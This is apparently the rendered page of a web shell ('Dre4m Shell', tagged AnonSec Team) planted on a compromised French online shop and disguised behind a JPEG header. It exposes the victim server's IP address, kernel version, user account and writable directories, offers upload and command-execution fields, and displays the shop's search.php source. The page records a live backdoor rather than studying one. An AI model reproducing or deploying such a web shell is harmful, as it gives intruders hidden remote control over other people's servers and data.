ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/vracandbio.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/computer3/vracandbio.com/search.php
<?php
/*
Module : Front-Office - Accueil
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/

//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//

// Chargement fichiers de configuration.
require('libs/Smarty.class.php');

// Démarrage du moteur TPL.
$smarty = new Smarty;

// Chargement des Fonctions Globals.
require('fonctions.php');

//****************************************************************************************//
//************************************ Recherche Titre ***********************************//
//****************************************************************************************//

$smarty->assign("search", $_GET['search']);

if (!empty($_GET['search']))
{
	//****************************************************************************************//
	//*********************************** Recherche Produit **********************************//
	//****************************************************************************************//

 $sql= $GLOBALS['bdd']->prepare('SELECT pa.id_attribute, p.seo, p.short_desc, p.id, p.name, p.meta_keywords, p.price, p.discount, pp.picture, p.hstock, p.stock, p.h_achat_direct, m.name AS lamarque FROM products p 


	INNER JOIN products_pictures pp 
	ON pp.id_product = p.id
	
	INNER JOIN products_categories pc 
	ON pc.id_product = p.id
	
	LEFT JOIN products_marques pm 
	ON pm.id_product = p.id
	
	LEFT JOIN products_attributes pa 
	ON pa.id_product = p.id
	
	LEFT JOIN marques m 
	ON m.id= pm.id_marque

	WHERE p.status = 1 AND p.name LIKE :search OR p.short_desc LIKE :search OR p.long_desc LIKE :search AND pp.position = 1 
	GROUP BY p.id');
	$sql->execute(array('search' => '%'.$_GET['search'].'%'));

	$result = $sql->fetchAll();
	$smarty->assign("products", $result);

	//****************************************************************************************//
	//************************************ Recherche Blog ************************************//
	//****************************************************************************************//

	$sql = $GLOBALS['bdd']->prepare('SELECT * FROM blog
		WHERE status = 1 AND title LIKE :search OR content LIKE :search
		GROUP BY id');

	$sql->execute(array('search' => '%'.$_GET['search'].'%'));

	$result = $sql->fetchAll();

	  $smarty->assign("search_blog", $result);

	//****************************************************************************************//
	//************************************ Recherche Blog ************************************//
	//****************************************************************************************//

	$sql = $GLOBALS['bdd']->prepare('SELECT * FROM cms
		WHERE status = 1 AND title LIKE :search OR content LIKE :search
		GROUP BY id');

	$sql->execute(array('search' => '%'.$_GET['search'].'%'));

	$result = $sql->fetchAll();

	  $smarty->assign("search_cms", $result);
}

//*************************************** Affichage **************************************//
  $smarty->display('search.tpl');
?>

Anon7 - 2022
AnonSec Team